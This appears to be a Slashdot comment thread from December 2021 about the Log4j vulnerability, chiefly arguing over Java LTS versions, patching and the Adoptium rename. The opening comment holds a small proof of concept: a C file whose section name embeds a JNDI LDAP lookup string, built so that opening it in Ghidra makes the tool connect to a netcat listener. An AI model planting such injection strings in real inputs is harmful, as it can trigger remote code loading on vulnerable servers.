    __attribute__((__section__(".note.${jndi:ldap://127.0.0.1:1234/abc}")))
    int a = 1;
    int main(){}
compile this with gcc, listen on port 1234 in netcat # gcc main.c -o main # nc -lp 1234

Launch Ghidra, confirm that it is using OpenJDK 11.0.11, and then open the built binary. It absolutely connects to localhost port 1234 and spits out some garbage there. Perhaps it does not have RCE impacts but it does cause the system to do something unintended and could expose IP addresses or other aspects of the running environment.

Re:Log4j: Between a rock and a hard place by unscaled on Saturday December 11, 2021 @10:09PM (#29526777)
It does have the RCE impact. You can still use gadget chains.
Re:Log4j: Between a rock and a hard place by fullstop on Saturday December 11, 2021 @10:17PM (#29526829)
Good to know. My point was mostly that it still seems to happen on "new" JVMs and I'm not sure if I'm doing something wrong or if openjdk is different than Oracle JDK.
Re:Log4j: Between a rock and a hard place by jeroenhd on Saturday December 11, 2021 @07:33PM (#29525777)
Although the Java ecosystem generally moves glacially slow, Java 11 is still supported an has LTS status. Unless you're willing to risk your livelihood on briefly-supported versions, you'll probably want to stick to an LTS release.

Java received a new LTS release this year. In the three years between Java 11 and the latest LTS there were six new releases. That's a lot of releases, and you can easily end up with a dependency that doesn't work with a new version of Java yet before the working version goes out of support.

Also, the update advice only works for the very specific demo exploit. Other exploits still work, so you'll need to update the library itself.

Re:Log4j: Between a rock and a hard place by yellow_lead on Saturday December 11, 2021 @04:01PM (#29524264)
I wouldn't agree that these are "pretty old." Maybe in frontend terms of software, but not backend.
Re:Log4j: Between a rock and a hard place by TheGuyWhoCodes on Saturday December 11, 2021 @04:36PM (#29524501)
2-3 years is pretty old.

Java backward compatibility is really good, even better when it's on the same major I don't see why you shouldn't update. You have a docker image with java, just pull the base image before you build, you run it bare you/need to update the server packages periodically, better if you have unattended update setup (default in recent ubuntu versions tho might need a server restart for some to apply) It's not like between java updates there aren't any security fixes, there are so you should update.

Nevertheless other mitigations like not exposing internal services to the internet would have blocked these attempts.

Re:Log4j: Between a rock and a hard place by justinclift on Saturday December 11, 2021 @04:44PM (#29524553)
> 2-3 years is pretty old.

In the JS or NodeJS world, sure. For pretty much everyone else, not so much.

Re:Log4j: Between a rock and a hard place by TheGuyWhoCodes on Saturday December 11, 2021 @05:19PM (#29524784)
I wasn't talkin about a 3rd party library, Java is your runtime platform it has security fixes roll out.

If you are an enterprise company that runs 3 year old java version then

1) Your CSO and CIO should all be fired

2) Your security team should be replaced

3) Your ISO 27001 and SOC2 certification among others should be revoked

Re:Log4j: Between a rock and a hard place by madeofpalk on Saturday December 11, 2021 @07:21PM (#29525669)
Until two months ago the LTS release of Java - Java 11 - was 2 years old.
Re:Log4j: Between a rock and a hard place by TheGuyWhoCodes on Saturday December 11, 2021 @07:36PM (#29525808)
Not sure what you are talking about.

Java 11 was released on 2018-09-25

Java 11.0.2 that contained the "fix" was released on 2019-01-15

Java 11.0.13 (latest) was released on 2021-10-19

Also Java 8u192 was released on 2018-10-16

Re:Log4j: Between a rock and a hard place by alanfranz on Sunday December 12, 2021 @01:09AM (#29527539)
I think you and parent(s) kept exchanging messages which conflated major and minor Java versions.

Java 11 as a major is not old, it’s probably the best GA version right now, 17 is at a very early adoption stage.

Openjdk 11.0.0 would be too old, though.

Re:Log4j: Between a rock and a hard place by raggi on Saturday December 11, 2021 @06:27PM (#29525313)
Re:Log4j: Between a rock and a hard place by yjftsjthsd-h on Saturday December 11, 2021 @08:22PM (#29526145)
If it's an enterprise running a 3y old JVM, what makes you think they have a CSO, CIO, or security team?
Re:Log4j: Between a rock and a hard place by Gigachad on Saturday December 11, 2021 @05:55PM (#29525054)
For internet connected software, it's pretty old. If you don't update for 3 years and expect to still be secure, you are in for a shock.
Re:Log4j: Between a rock and a hard place by actuallyalys on Saturday December 11, 2021 @08:25PM (#29526165)
Obviously you shouldn't go three years without security patches. But it's perfectly reasonable to not update to a new major version for three years.
Re:Log4j: Between a rock and a hard place by charrondev on Saturday December 11, 2021 @07:32PM (#29525765)
Not keeping up with patch versions of your runtime.

As other comments mentioned even with a patched JDK you are still vulnerable in other ways, but the specific method this whole thread is about seems to have patches in Java 8 and 11 releases.

I understand that lagging new major releases by years and be prudent for different apps, but there is no excuse not to be updating your patch versions.

Re:Log4j: Between a rock and a hard place by thrower123 on Saturday December 11, 2021 @05:35PM (#29524887)
Something that's 2-3 years old maybe has enough bugs worn off it by the early adopters that enterprise users might start thinking about maybe using it in Q4 of next year. After a massive pilot program to do a test rollout and lab deployment.
Re:Log4j: Between a rock and a hard place by isbvhodnvemrwvn on Saturday December 11, 2021 @05:32PM (#29524869)
They are. You should have an up-to-date runtime to prevent vulnerabilities or just to have more-or-less accurate TZ databases if anything else.

It can be Java 8, but please use one with actively developed security patches.

Re:Log4j: Between a rock and a hard place by heelix on Sunday December 12, 2021 @01:15AM (#29527561)
If you had the extended support contract, you could get that version of Java 6. I could have sworn 6u212 was the last release before it hit OEL. (been a while) Java 7u321, 8u311, and 11.0.13 are current. 7, 8, 11, and 17 are all LTS releases that get quarterly patches - so the minor upgrades are pretty painless if you happen to be stuck with something older.
Re:Log4j: Between a rock and a hard place by smsm42 on Saturday December 11, 2021 @04:14PM (#29524362)
I have tons of stuff running on Java 8. It's LTS version and no reason to change working builds, adding more unknowns into the system.
Re:Log4j: Between a rock and a hard place by john37386 on Sunday December 12, 2021 @06:03AM (#29528640)
The log4j patch to fix this vuln is available since March 2021. 9 months later... time to panic.
Re:Log4j: Between a rock and a hard place by watwut on Sunday December 12, 2021 @04:38AM (#29528277)
Java 11 is not deprecated. It is fairly absurd to frame it as old.
Re:Log4j: Between a rock and a hard place by mooreds on Saturday December 11, 2021 @07:40PM (#29525839)
Can't edit this, but apparently there are multiple attack vectors and only a few are mitigated by a recent version of java. More here from brabel: https://news.ycombinator.com/item?id=29524578

tl;dr: upgrade your version of log4j.

Re:Log4j: Between a rock and a hard place by MeinBlutIstBlau on Saturday December 11, 2021 @07:23PM (#29525685)
My team still uses .Net Framework 4.6. That's from like 2015. While not "ancient," it's still pretty old. But for instance, when the SolarWinds hack ocurred, we actually lucked out cause we were using a version of it before the intrusion.
Re:Log4j: Between a rock and a hard place by shepherdjerred on Saturday December 11, 2021 @06:16PM (#29525231)
My org at AWS just upgraded from Java 8 to Java 11 last year. I doubt anyone is on 17.
Re:Log4j: Between a rock and a hard place by charrondev on Saturday December 11, 2021 @07:33PM (#29525773)
The thing is it’s not about Java 11, 14, or 17. If you must be on 8 at least use the latest patch versions.
Re:Log4j: Between a rock and a hard place by shepherdjerred on Saturday December 11, 2021 @11:17PM (#29527092)
Oh I didn't realize that.

That makes patching the issue pretty trivial then, right? Anyone deploying production software should be updating their minor versions anyway.

Re:Log4j: Between a rock and a hard place by radicalbyte on Saturday December 11, 2021 @04:02PM (#29524274)
The latest LTS version of OpenJDK is 11 (https://adoptopenjdk.net). I certainly don't touch the Oracle version with a barge pole and I assume that a large proportion of the industry also avoid it.
Re:Log4j: Between a rock and a hard place by lars_francke on Saturday December 11, 2021 @04:04PM (#29524287)
FYI: AdoptOpenJDK is now https://adoptium.net/ and the latest LTS version is 17.
Re:Log4j: Between a rock and a hard place by jeroenhd on Saturday December 11, 2021 @07:35PM (#29525797)
There's something funny about an OpenJDK release being hosted on a .net domain. dotnet really is a terrible name for a programming language and framework.
Re:Log4j: Between a rock and a hard place by lanstin on Sunday December 12, 2021 @12:49AM (#29527465)
.net domain is for network operators and that sort of thing. Precedes and nothing to do with Microsoft dot net.
Re:Log4j: Between a rock and a hard place by jeroenhd on Sunday December 12, 2021 @03:46AM (#29528080)
Of course, that's where Microsoft's dumb name probably came from. They already had COM, needed a new name (COM+ sucked) so they went NET.
Re:Log4j: Between a rock and a hard place by pjmlp on Sunday December 12, 2021 @08:20AM (#29529396)
They went with .NET because it was supposed to bring DCOM into the Cloud via SOAP.

Except Cloud still wasn't a thing back then, and we had to go through the whole SOAP, XML-RPC, REST but not really, GraphQL, gRPC fashion cycle to come back to Microsoft's vision of Web APIs.

Re:Log4j: Between a rock and a hard place by justinclift on Saturday December 11, 2021 @04:43PM (#29524544)
Ugh. That seems like a really, really silly name change.

Going from something obvious, to something that has no immediate relationship to java, jdk, or anything related. :/

I guess people will have to learn to remember it over time.

Re:Log4j: Between a rock and a hard place by Cu3PO42 on Saturday December 11, 2021 @05:29PM (#29524853)
Some time ago I read a pertinent comment from someone working on JDK here on HN. Unfortunately I can't find it, so I'll have to paraphrase:

Even though Adoptium has some big names backing it, they aren't big contributors to Java. This is relevant because it implies they get access to not-yet-publicly-diclosed vulnerabilities and the corresponding patches later than other projects. Rather, one should try to use a distribution by one of the major contributors, for example Red Hat or SAP.

Since I cannot currently provide the source and I cannot personally verify this either, take this with a grain of salt.

Re:Log4j: Between a rock and a hard place by solarengineer on Saturday December 11, 2021 @11:15PM (#29527075)
You are undoubtedly referring to pron's comment here:

https://news.ycombinator.com/item?id=28821316

Re:Log4j: Between a rock and a hard place by karianna on Sunday December 12, 2021 @04:59AM (#29528358)
The folks who work at Adoptium contain many OpenJDK committers (especially from Red Hat and Microsoft) so it does contribute back (but you’ll see folks using their company addresses). I agree that can confuse folks
Re:Log4j: Between a rock and a hard place by skissane on Saturday December 11, 2021 @05:12PM (#29524735)
> Ugh. That seems like a really, really silly name change.

When they became an Eclipse project, the Eclipse Foundation was concerned that "AdoptOpenJDK" might lead to trademark problems with Oracle, given that "OpenJDK" is an Oracle trademark. Absent explicit permission from Oracle to use a name incorporating "OpenJDK" (which has not been received), Eclipse said the name had to change.

Re:Log4j: Between a rock and a hard place by layer8 on Saturday December 11, 2021 @04:58PM (#29524648)
Actually, the full name is Eclipse Adoptium Temurin now. O_o
Re:Log4j: Between a rock and a hard place by vips7L on Saturday December 11, 2021 @04:46PM (#29524559)
Same with Azul zulu. 17 is lts.